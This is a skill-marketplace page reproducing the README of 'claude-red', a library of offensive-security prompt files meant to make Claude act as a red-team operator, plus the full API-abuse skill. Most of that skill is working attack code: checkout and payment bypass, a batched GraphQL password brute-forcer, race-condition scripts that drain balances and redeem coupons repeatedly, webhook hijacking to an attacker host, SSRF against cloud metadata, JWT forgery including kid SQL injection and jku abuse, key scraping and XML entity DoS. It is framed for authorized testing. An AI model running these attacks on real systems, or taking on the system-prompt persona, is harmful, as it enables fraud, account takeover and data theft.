复制安装命令
用 Codex 或 Claude 安装复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它先审查 Skill 页面再帮你安装。
复制前请先查看来源、License 和安全提示。
Offensive security skills for Claude — drop-in SKILL.
用 Codex 或 Claude 安装复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它先审查 Skill 页面再帮你安装。
复制前请先查看来源、License 和安全提示。
来源文件:README.md

Offensive security skills for Claude — drop-in SKILL.md files that turn Claude into a context-aware red team operator.
Built by SnailSploit — GenAI Security Research.
claude-red is a curated library of offensive security skills for the Claude Skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to ADCS abuse.
Drop a skill into your Claude environment and it behaves like a specialist: it knows the techniques, the tooling, the edge cases, and the escalation paths. Skills load on demand based on conversational triggers — you don't pay context for skills you aren't using.
Use it for: authorized red team engagements, bug bounty triage, security research, CTF preparation, training operators, and exploring attack surfaces methodically.
# Clone into a directory Claude will scan
git clone https://github.com/SnailSploit/claude-red ~/.claude/skills/claude-red
# Or install only one category
git clone --filter=blob:none --sparse https://github.com/SnailSploit/claude-red
cd claude-red && git sparse-checkout set Skills/web Skills/active-directory
Claude will auto-load matching skills based on conversational triggers (e.g. mentioning SQLi loads offensive-sqli).
# Point Claude at a single skill before a session
cat Skills/web/offensive-sqli/SKILL.md | claude --system-file -
# Or load a whole category
cat Skills/active-directory/**/SKILL.md | claude --system-file -
Paste the contents of a SKILL.md into a Project's system prompt or prepend to your conversation.
./install.sh # interactive
./install.sh --target ~/.claude/skills # explicit target
./install.sh --category web # one category
| Category | Skills | Focus |
|---|---|---|
| Web Application | 16 | OWASP Top 10 + business logic + advanced web bug classes |
| Auth & Identity | 2 | JWT, OAuth |
| Active Directory | 1 | On-prem AD attack methodology (expanding) |
| Wireless | 13 | 802.11, WPA2/3, EAP, WPS, evil-twin, BLE, Zigbee, Z-Wave, LoRa, sub-GHz |
| Cloud | 1 | AWS / Azure / GCP attack paths (expanding) |
| Mobile | 1 | Android + iOS pentest (expanding) |
| IoT & Embedded | 1 | Hardware, firmware, RTOS, ICS (expanding) |
| Infrastructure & Red Team | 7 | Initial access, EDR evasion, advanced red team ops, Windows internals |
| Exploit Development | 6 | Stack/heap, mitigations, crash analysis, TOCTOU |
| Fuzzing & VR | 4 | libFuzzer, AFL++, bug ID, vuln classes |
| Reconnaissance | 2 | OSINT tooling and methodology |
| API Security | 2 | REST/gRPC/WebSocket testing, business logic abuse |
| Container & Kubernetes | 2 | Container escape, K8s cluster attacks |
| CI/CD & Pipeline | 2 | Pipeline exploitation, secrets extraction |
| Cryptography | 2 | Crypto implementation attacks, TLS/SSL |
| Privilege Escalation | 2 | Linux and Windows privesc |
| Post-Exploitation | 3 | Lateral movement, persistence, data exfiltration |
| Forensics & C2 | 2 | Anti-forensics, C2 framework tradecraft |
| Supply Chain | 2 | Supply chain attacks, dependency confusion |
| Social Engineering | 2 | Phishing campaigns, physical/vishing/smishing |
| Network Attacks | 1 | Layer 2/3 attacks, MITM, poisoning |
| AI Security | 1 | Prompt injection, jailbreaks, RAG poisoning |
| Utility | 2 | Fast-checking, professional reporting |
Skills/web/
| Skill | Description |
|---|---|
offensive-sqli | SQL injection — error/blind/OOB, DB-specific, ORM CVEs, cloud paths |
offensive-xss | Cross-site scripting — stored, reflected, DOM, mutation |
offensive-ssrf | Server-side request forgery — cloud metadata, filter bypass |
offensive-ssti | Server-side template injection — engine ID, RCE paths |
offensive-xxe | XML external entity — OOB exfil, blind exploitation |
offensive-idor | Insecure direct object references — enumeration, business logic |
offensive-file-upload | File upload — extension bypass, polyglots, webshells |
offensive-rce | Remote code execution — chaining, command injection |
offensive-deserialization | Insecure deserialization — Java/PHP/.NET gadget chains |
offensive-race-condition | Race conditions — TOCTOU, single-packet, limit bypass |
offensive-request-smuggling | HTTP request smuggling — CL.TE, TE.CL, h2 desync |
offensive-open-redirect | Open redirect — OAuth abuse, phishing, SSRF pivots |
offensive-parameter-pollution | HTTP parameter pollution — WAF bypass, logic confusion |
offensive-graphql | GraphQL — introspection, batching, IDOR via aliases |
offensive-waf-bypass | WAF bypass — encoding, chunking, case mutation |
offensive-business-logic | Business logic — workflow bypass, pricing, refunds, chains |
Skills/auth/
| Skill | Description |
|---|---|
offensive-jwt | JWT — alg:none, key confusion, secret cracking |
offensive-oauth | OAuth — open redirect abuse, token leakage, PKCE bypass |
Skills/active-directory/
| Skill | Description |
|---|---|
offensive-active-directory | AD — Kerberoast, ASREProast, ACL abuse, ADCS ESC1-15, delegation, persistence, hybrid AAD |
Note: This category is being expanded. The AD overview is being split into 16 focused skills (Kerberoasting, ASREProasting, ADCS, coercion, NTLM relay, BloodHound, ticket forgery, GPO abuse, etc.). See Roadmap.
Skills/wireless/
| Skill | Description |
|---|---|
offensive-wifi | 802.11 overview — entrypoint into the wireless category |
offensive-wifi-recon | Adapter selection, monitor mode, multi-band airspace mapping |
offensive-wpa2-psk | Handshake capture, PMKID, hashcat 22000 cracking |
offensive-wpa3-sae | Transition-mode downgrade, Dragonblood, SAE side-channels |
offensive-wpa-enterprise | 802.1X / EAP attacks, eaphammer evil-twin RADIUS |
offensive-wps | Pixie Dust, online PIN brute, vendor PIN generators |
offensive-evil-twin | KARMA, Mana, captive portal, post-association MITM |
offensive-krack-fragattacks | KRACK + FragAttacks supplicant testing |
offensive-deauth-disassoc | Targeted/broadcast deauth, PMF awareness, action frames |
offensive-bluetooth-ble | BLE GATT enum, pairing downgrade, sniffing, MITM |
offensive-bluetooth-classic | BR/EDR — SDP, SPP, KNOB, BlueBorne, HID spoofing |
offensive-zigbee-thread-matter | 802.15.4 mesh — KillerBee, Touchlink abuse, ZCL command injection |
offensive-z-wave | S0 key derivation flaw, S2 commissioning, hub pivots |
offensive-lorawan-sub-ghz | LoRaWAN ABP/OTAA, KeeLoq garage doors, fixed-code, TPMS |
Skills/cloud/
| Skill | Description |
|---|---|
offensive-cloud | AWS / Azure / GCP — privesc, IMDS, cross-account, persistence, CSPM evasion |
Note: Cloud-identity (Entra/AAD/Okta hybrid) skills coming separately. See Roadmap.
Skills/mobile/
| Skill | Description |
|---|---|
offensive-mobile | Android + iOS — Frida, pinning, storage, biometric, deep links |
Skills/iot/
| Skill | Description |
|---|---|
offensive-iot | Hardware recon, firmware, RTOS, ICS/OT, MQTT/CoAP |
Note: Being split into 10 focused skills (UART/JTAG, flash dump, fault injection, U-Boot, secure boot, RTOS, ICS protocols). See Roadmap.
Skills/infrastructure/
| Skill | Description |
|---|---|
offensive-initial-access | Phishing, drive-by, supply chain — TA0001 |
offensive-advanced-redteam | Full kill chain, C2, OPSEC, lateral, persistence |
offensive-edr-evasion | Unhooking, indirect syscalls, PPID spoofing |
offensive-shellcode | Writing, encoding, injection techniques |
offensive-keylogger-arch | Keylogger architecture and input-capture techniques |
offensive-windows-mitigations | Windows mitigations — ACG, Arbitrary Code Guard |
offensive-windows-boundaries | Defeating Windows boundaries — sandbox escape, privilege |
Skills/exploit-dev/
| Skill | Description |
|---|---|
offensive-exploit-development | Stack/heap, ROP chains, mitigations |
offensive-exploit-dev-course | Structured curriculum format |
offensive-basic-exploitation | Linux exploitation, mitigations disabled — beginner-to-mid |
offensive-crash-analysis | Crash triage, exploitability assessment, root cause |
offensive-mitigations | Modern kernel mitigations — ASLR, CFG, CET, PAC |
offensive-toctou | Time-of-check/use across binary, kernel, web, container |
Skills/fuzzing/
| Skill | Description |
|---|---|
offensive-fuzzing | libFuzzer, AFL++, coverage-guided, mutation strategies |
offensive-fuzzing-course | Curriculum — finding vulns via fuzzing |
offensive-bug-identification | Code review patterns, static analysis triggers |
offensive-vuln-classes | Vulnerability classes — real-world examples, taxonomy |
Skills/recon/
| Skill | Description |
|---|---|
offensive-osint | OSINT tools — recon-ng, theHarvester, Maltego pipelines |
offensive-osint-methodology | OSINT methodology — structured intelligence collection |
Skills/api/
| Skill | Description |
|---|---|
offensive-api-security | API testing — OWASP API Top 10, REST/gRPC/WebSocket, BOLA, BFLA, mass assignment |
offensive-api-abuse | API business logic — chaining, batching, JWT manipulation, webhook hijacking |
Skills/container/
| Skill | Description |
|---|---|
offensive-container-escape | Container breakout — privileged escape, Docker socket, capabilities, cgroup, runc CVEs |
offensive-k8s-attacks | Kubernetes — RBAC abuse, etcd access, kubelet API, pod escape, secrets, CRD exploitation |
Skills/cicd/
| Skill | Description |
|---|---|
offensive-cicd-pipeline | CI/CD exploitation — GitHub Actions injection, Jenkins RCE, GitLab CI, Azure DevOps |
offensive-cicd-secrets | CI/CD secrets — env var extraction, vault misconfigs, OIDC federation, runner token abuse |
Skills/crypto/
| Skill | Description |
|---|---|
offensive-crypto-attacks | Crypto attacks — padding oracle, ECB manipulation, hash extension, RSA, weak PRNG |
offensive-tls-attacks | TLS/SSL — POODLE, DROWN, Heartbleed, pinning bypass, HSTS bypass, 0-RTT replay |
Skills/privesc/
| Skill | Description |
|---|---|
offensive-linux-privesc | Linux privesc — SUID, capabilities, sudo, cron, kernel exploits, Docker group |
offensive-windows-privesc | Windows privesc — Potato family, service misconfigs, DLL hijacking, UAC bypass, PrintNightmare |
Skills/post-exploitation/
| Skill | Description |
|---|---|
offensive-lateral-movement | Lateral movement — PTH, PTT, NTLM relay, WMI/WinRM/DCOM, tunneling (chisel, ligolo-ng) |
offensive-persistence | Persistence — registry, scheduled tasks, WMI subs, Golden/Silver tickets, PAM backdoors |
offensive-data-exfiltration | Data exfiltration — DNS/HTTPS/ICMP tunneling, cloud dead drops, steganography |
Skills/forensics/
| Skill | Description |
|---|---|
offensive-anti-forensics | Anti-forensics — log clearing, timestomping, ADS hiding, memory cleanup, anti-VM |
offensive-c2-frameworks | C2 tradecraft — Cobalt Strike, Sliver, Mythic, Havoc, Metasploit, redirectors, domain fronting |
Skills/supply-chain/
| Skill | Description |
|---|---|
offensive-supply-chain | Supply chain — dependency confusion, typosquatting, build system attacks, image trojaning |
offensive-dependency-confusion | Dependency confusion — npm/PyPI/NuGet/Maven/Go namespace attacks, safe PoC methodology |
Skills/social-engineering/
| Skill | Description |
|---|---|
offensive-phishing | Phishing — GoPhish, EvilGinx2, payload delivery, email auth bypass, MFA phishing |
offensive-social-engineering | Social engineering — pretexting, vishing, smishing, physical SE, USB drops, watering holes |
Skills/network/
| Skill | Description |
|---|---|
offensive-network-attacks | Network L2/L3 — ARP spoofing, LLMNR/NBT-NS poisoning, VLAN hopping, IPv6 attacks, MITM |
Skills/ai/
| Skill | Description |
|---|---|
offensive-ai-security | AI pentest — prompt injection, jailbreaking, RAG poisoning |
Skills/utility/
| Skill | Description |
|---|---|
offensive-fast-checking | Fast triage checklist — quick-win identification |
offensive-reporting | Pro pentest reporting — CVSS, evidence, exec summary, retest |
The library is being expanded in seven phases. Track progress in CHANGELOG.md.
| Phase | Category | New Skills | Status |
|---|---|---|---|
| 1 | Internal AD/Windows (rename active-directory/ → internal/) | +16 | Planned |
| 2 | Cloud Identity (Entra/AAD, ADFS, Okta, M365) | +10 | Planned |
| 3 | Wireless split (WPA2/3, EAP, BLE, Zigbee, Z-Wave, LoRa, sub-GHz) | +12 | Done |
| 4 | IoT split (UART/JTAG, flash, fault injection, RTOS, ICS) | +10 | Planned |
| 5 | Web Basics (recon, auth bypass, access control, CSRF, headers, CORS, cache, clickjack) | +8 | Planned |
| 6 | Web Advanced (proto pollution, SAML, OIDC, WebSocket, gRPC, postMessage, SSI/ESI, CSTI) | +10 | Planned |
| 7 | Polish (README, LICENSE, manifest, install) | — | Done |
| 8 | New categories (API, container, CI/CD, crypto, privesc, post-exploitation, forensics/C2, supply chain, social engineering, network) | +20 | Done |
| 9 | Deep rewrites (deserialization, GraphQL, advanced red team, SSTI) | — | Done |
End state: ~130 skills across 23+ categories.
Contributions welcome. See CONTRIBUTING.md for the skill template, frontmatter standard, and review process. Focused, single-surface skills are preferred over monolithic overviews.
MIT — use freely, attribution appreciated.
"Give Claude the right skill and it stops being a chatbot. It becomes an operator."
This project's full writeup, methodology, and related research lives at:
https://snailsploit.com/claude-red
Created by Kai Aizen — independent offensive security researcher.
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Same attack. Different substrate.
name: offensive-api-abuse
description: "Advanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss."You are conducting authorized security assessments targeting the business logic layer of API-driven applications. Traditional vulnerability scanners miss the attack patterns in this skill because they require understanding of application workflows, state transitions, and trust relationships between API endpoints. Your goal is to identify vulnerabilities that allow financial manipulation, data exfiltration through legitimate channels, privilege escalation via workflow abuse, and service disruption through logic-layer attacks.
Business logic vulnerabilities emerge when individual API endpoints are secure in isolation but the workflow connecting them has exploitable gaps. You identify these by mapping the intended transaction flow and then deviating from it.
# E-commerce checkout bypass
# Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
# Attack: skip payment and go directly to confirm
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "PROD-001", "quantity": 1}' \
"https://target.example.com/api/v1/cart/items" | jq .
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "SAVE20"}' \
"https://target.example.com/api/v1/cart/coupon" | jq .
# Skip payment -- attempt direct order confirmation
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "CART-12345"}' \
"https://target.example.com/api/v1/orders/confirm" | jq .
# Price manipulation: add expensive item for free shipping, calculate, remove it
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "EXPENSIVE-001", "quantity": 1}' \
"https://target.example.com/api/v1/cart/items"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/cart/calculate"
curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/cart/items/EXPENSIVE-001"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"payment_method": "card_on_file"}' \
"https://target.example.com/api/v1/cart/pay"
# State manipulation, negative quantities, currency confusion
curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"status": "pending"}' \
"https://target.example.com/api/v1/orders/ORD-5001"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": "PROD-001", "quantity": -1}' \
"https://target.example.com/api/v1/cart/items"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"amount": 100, "currency": "IDR"}' \
"https://target.example.com/api/v1/payments"
GraphQL APIs introduce unique attack surfaces through query batching, introspection, and nested query execution that bypass rate limiting and authorization controls.
# Full introspection query -- extract types and mutations
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' \
"https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == "OBJECT")'
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ __schema { mutationType { fields { name args { name type { name kind } } } } } }"}' \
"https://target.example.com/graphql" | jq '.data.__schema.mutationType.fields[].name'
Batching for brute-force amplification -- send multiple authentication attempts in a single HTTP request to bypass per-request rate limiting:
#!/usr/bin/env python3
"""GraphQL batching for authentication brute-force amplification."""
import requests, json, sys
TARGET = "https://target.example.com/graphql"
BATCH_SIZE = 50
def run_batch_brute(email, wordlist_path):
with open(wordlist_path) as f:
passwords = [line.strip() for line in f if line.strip()]
for i in range(0, len(passwords), BATCH_SIZE):
batch = passwords[i:i + BATCH_SIZE]
payload = [
{"query": f'mutation a{j} {{ login(email: "{email}", password: "{pwd}") {{ token success }} }}'}
for j, pwd in enumerate(batch)
]
resp = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"})
if resp.status_code == 429:
print(f"[!] Rate limited at batch index {i}")
break
for j, result in enumerate(resp.json()):
if result.get("data", {}).get("login", {}).get("success"):
print(f"[+] Valid: {email}:{batch[j]}")
return
print(f" Batch {i // BATCH_SIZE + 1}: {len(batch)} attempts in 1 request")
if __name__ == "__main__":
run_batch_brute(sys.argv[1], sys.argv[2])
# Query depth exploitation for denial of service
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ users { posts { comments { author { posts { comments { author { posts { comments { author { name } } } } } } } } } } }"}' \
"https://target.example.com/graphql"
# Field duplication for response amplification
curl -s -X POST -H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"query": "{ a1: users { name email } a2: users { name email } a3: users { name email } a4: users { name email } a5: users { name email } a6: users { name email } a7: users { name email } a8: users { name email } a9: users { name email } a10: users { name email } }"}' \
"https://target.example.com/graphql"
Pagination mechanisms can leak total record counts, expose data through cursor manipulation, and allow complete database enumeration when not properly constrained.
# Probe pagination boundaries and abuse page size
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?page=1&per_page=1" | \
jq '{total: .total, total_pages: .total_pages, current_page: .page}'
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?page=1&per_page=999999" | jq 'length'
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?page=-1&per_page=100" | jq .
# Cursor-based pagination manipulation
echo "eyJpZCI6MTAwMX0=" | base64 -d # Decode cursor: {"id":1001}
# Forge a cursor to access arbitrary records
forged_cursor=$(echo -n '{"id":1}' | base64 -w0)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?cursor=${forged_cursor}&limit=100" | jq .
# Sort and filter parameter injection
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?sort=password&order=asc" | jq .
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users?filter[role]=admin" | jq .
Webhook configurations allow you to redirect server-initiated callbacks to attacker-controlled endpoints, enabling data interception and SSRF.
# Register a webhook pointing to your controlled server
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"url": "https://attacker-listener.example.com/webhook",
"events": ["user.created", "order.completed", "payment.received"],
"secret": "attacker_secret"
}' "https://target.example.com/api/v1/webhooks" | jq .
# List existing webhooks to discover internal URLs
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/webhooks" | jq '.[] | {id, url, events}'
# Webhook SSRF: point webhook URL to internal services
internal_targets=(
"http://127.0.0.1:8080/admin"
"http://169.254.169.254/latest/meta-data/"
"http://internal-api.local:3000/health"
"http://elasticsearch.internal:9200/_cat/indices"
)
for target_url in "${internal_targets[@]}"; do
resp=$(curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"url\": \"${target_url}\", \"events\": [\"test.ping\"]}" \
"https://target.example.com/api/v1/webhooks")
echo "Target: ${target_url} -> $(echo "$resp" | head -c 200)"
done
Race conditions occur when APIs fail to properly serialize concurrent requests against shared state. You exploit these to duplicate transactions, bypass limits, or corrupt state.
#!/usr/bin/env python3
"""Race condition testing for API transaction abuse."""
import asyncio, aiohttp
TARGET = "https://target.example.com/api/v1"
TOKEN = "YOUR_TOKEN"
HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}
async def send_request(session, url, data=None):
async with session.post(url, json=data, headers=HEADERS) as resp:
body = await resp.json()
return {"status": resp.status, "body": body}
async def race_coupon_redeem(coupon_code, n=20):
"""Redeem a single-use coupon multiple times via race condition."""
async with aiohttp.ClientSession() as session:
tasks = [send_request(session, f"{TARGET}/cart/coupon",
{"coupon_code": coupon_code}) for _ in range(n)]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r["status"] == 200]
print(f"[+] Coupon '{coupon_code}' redeemed {len(successes)}/{n} times")
async def race_balance_transfer(n=20):
"""Drain account by sending parallel transfers exceeding balance."""
async with aiohttp.ClientSession() as session:
tasks = [send_request(session, f"{TARGET}/transfers",
{"to_account": "ATTACKER-ACCT", "amount": 100, "currency": "USD"})
for _ in range(n)]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r["status"] in (200, 201)]
total = sum(r["body"].get("amount", 0) for r in successes)
print(f"[+] Transfers succeeded: {len(successes)}/{n}, total: {total}")
if __name__ == "__main__":
asyncio.run(race_coupon_redeem("SINGLE-USE-COUPON"))
asyncio.run(race_balance_transfer())
# Race condition using GNU parallel with curl
seq 1 20 | parallel -j 20 'curl -s -o /dev/null -w "Request {}: %{http_code}\n" \
-X POST -H "Authorization: Bearer '"$TOKEN"'" \
-H "Content-Type: application/json" \
-d '\''{"coupon_code": "SINGLE-USE"}'\'' \
"https://target.example.com/api/v1/cart/coupon"'
JSON Web Tokens often carry authorization decisions client-side. You exploit weaknesses in token generation, validation, and cryptographic implementation.
# Decode, algorithm confusion (RS256 -> HS256), and none-algorithm attacks
jwt_tool "$JWT_TOKEN"
jwt_tool "$JWT_TOKEN" -X a # Algorithm confusion
jwt_tool "$JWT_TOKEN" -X n # None algorithm
# Manual none-algorithm variants
for alg in "none" "None" "NONE" "nOnE"; do
header=$(echo -n "{\"alg\":\"${alg}\",\"typ\":\"JWT\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
payload=$(echo "$JWT_TOKEN" | cut -d. -f2)
forged="${header}.${payload}."
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer ${forged}" \
"https://target.example.com/api/v1/users/me")
echo "Algorithm '${alg}' -> HTTP ${code}"
done
# kid (Key ID) injection -- path traversal and SQL injection
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "/proc/sys/kernel/hostname" -S hs256 -p ""
jwt_tool "$JWT_TOKEN" -I -hc kid -hv "' UNION SELECT 'attacker_secret' -- " -S hs256 -p "attacker_secret"
# jku (JWK Set URL) abuse: generate keypair, host JWKS, forge token
openssl genrsa -out attacker_key.pem 2048
openssl rsa -in attacker_key.pem -pubout -out attacker_pub.pem
python3 -c "
import json, base64
from cryptography.hazmat.primitives.serialization import load_pem_public_key
with open('attacker_pub.pem', 'rb') as f:
pub = load_pem_public_key(f.read())
n = pub.public_numbers()
jwks = {'keys': [{'kty': 'RSA', 'kid': 'attacker-key-1', 'use': 'sig',
'n': base64.urlsafe_b64encode(n.n.to_bytes(256, 'big')).rstrip(b'=').decode(),
'e': base64.urlsafe_b64encode(n.e.to_bytes(3, 'big')).rstrip(b'=').decode()}]}
print(json.dumps(jwks, indent=2))
" > jwks.json
jwt_tool "$JWT_TOKEN" -I \
-hc jku -hv "https://attacker.example.com/.well-known/jwks.json" \
-hc kid -hv "attacker-key-1" \
-S rs256 -pr attacker_key.pem
# Claim tampering with a known or brute-forced secret
jwt_tool "$JWT_TOKEN" -I -pc role -pv admin -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc sub -pv "admin@target.com" -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc exp -pv 9999999999 -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc is_admin -pv true \
-pc permissions -pv '["admin","superuser"]' -S hs256 -p "$KNOWN_SECRET"
API keys leak through predictable channels. You systematically search for them across all exposure surfaces.
# Search public repositories for leaked keys
gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path}' \
--method GET -f "q=org:target-org api_key OR apikey OR api-key OR secret_key"
gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path, url: .html_url}' \
--method GET -f "q=org:target-org AKIA OR sk_live OR rk_live"
# Client-side key extraction from JavaScript bundles
curl -s "https://target.example.com/" | \
grep -oE 'src="[^"]*\.js[^"]*"' | sed 's/src="//;s/"//' | while read -r js_url; do
echo "=== Scanning: https://target.example.com${js_url} ==="
curl -s "https://target.example.com${js_url}" | grep -oiE \
'(api[_-]?key|api[_-]?secret|access[_-]?token|secret[_-]?key)["\x27]?\s*[:=]\s*["\x27][A-Za-z0-9+/=_-]{16,}["\x27]'
done
# Error message key leakage
curl -s -X POST -H "Content-Type: application/json" \
-d '{"invalid": true}' "https://target.example.com/api/v1/connect" | \
grep -iE '(key|token|secret|password|credential)'
Production APIs frequently expose endpoints not listed in public documentation. You discover them through predictable naming patterns, debug routes, and application source analysis.
# Parameter discovery with Arjun
arjun -u "https://target.example.com/api/v1/users" -m GET \
--headers "Authorization: Bearer $TOKEN" -t 10
arjun -u "https://target.example.com/api/v1/users" -m POST \
--headers "Authorization: Bearer $TOKEN" -t 10
# ParamSpider for URL parameter mining from web archives
paramspider -d target.example.com --exclude woff,css,js,png,svg,jpg,gif
# Endpoint brute-forcing with predictable naming patterns
wordlist=(
"internal" "debug" "test" "dev" "staging" "beta"
"admin" "manage" "console" "dashboard" "config"
"health" "status" "metrics" "graphql" "playground"
"backup" "export" "import" "batch" "bulk" "webhook"
)
for word in "${wordlist[@]}"; do
for prefix in "/api/v1" "/api/v2" "/api/internal" "/api" "/_"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"${TARGET}${prefix}/${word}")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo "[${code}] ${prefix}/${word}"
done
done
# Extract API routes from JavaScript bundles
curl -s "https://target.example.com/static/js/main.js" | \
grep -oE '["'\'']/api/[a-zA-Z0-9/_-]+["'\'']' | sort -u
Target API operations that have disproportionate server-side cost relative to request complexity.
# ReDoS via search parameters -- measure response time scaling
for len in 10 20 30 40 50; do
payload=$(python3 -c "print('a' * ${len} + '!')")
curl -s -o /dev/null -w "Length ${len}: %{time_total}s\n" \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/search?q=${payload}"
done
# XML entity expansion (Billion Laughs) if XML input accepted
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<data>&lol4;</data>' "https://target.example.com/api/v1/import"
When you execute these techniques, you generate specific artifacts that defenders monitor for:
Business logic abuse does not trigger signature-based detection because each individual request is valid. Behavioral analytics detect deviations such as checkout steps executed out of order, coupon codes applied in parallel, or state transitions that violate the application state machine. Transaction monitoring flags duplicate rewards, negative-amount transfers, or currency mismatches.
GraphQL batching produces abnormally large request payloads. API gateways with query complexity, depth, or operation count limits block these. Introspection queries from non-development sources trigger alerts.
Pagination abuse manifests as requests with abnormal page sizes or sequential fetches at high volume. DLP systems alert on bulk data access patterns.
Webhook manipulation is detected by registration audit logs. Outbound connection monitoring flags callbacks to unexpected destinations. SSRF defenses validate callback URLs against allowlists.
Race conditions produce bursts of identical requests within millisecond windows. Distributed tracing captures concurrent state modifications. Database logs show serialization failures.
JWT attacks involving algorithm confusion produce tokens with unexpected header values logged by auth middleware. Tokens with jku/x5u pointing to external URLs trigger URL validation alerts.
Endpoint enumeration produces 404 bursts and unusual URL path patterns. WAFs flag path traversal patterns in discovery attempts.
| Phase | Action | Tool |
|---|---|---|
| Discovery | Hidden parameter enumeration | Arjun |
| Discovery | URL parameter mining | ParamSpider |
| Discovery | GraphQL schema introspection | curl, GraphQL Voyager |
| Discovery | Endpoint brute-force | Custom wordlist scripts |
| Logic | Workflow bypass via API chaining | curl, Burp Repeater |
| Logic | Price/state manipulation | curl sequences |
| Logic | Race condition exploitation | Python asyncio/aiohttp, GNU parallel |
| Auth | JWT algorithm confusion | jwt_tool |
| Auth | JWT kid/jku injection | jwt_tool, openssl |
| Auth | JWT claim tampering | jwt_tool |
| Data | Pagination-based exfiltration | curl, Python scripts |
| Data | GraphQL batched brute-force | Python scripts |
| Data | API key leakage search | gh, grep, curl |
| Infra | Webhook hijacking/SSRF | curl |
| Infra | Resource exhaustion | curl, Python |
评论 (0)
暂无评论,成为第一个评论者吧!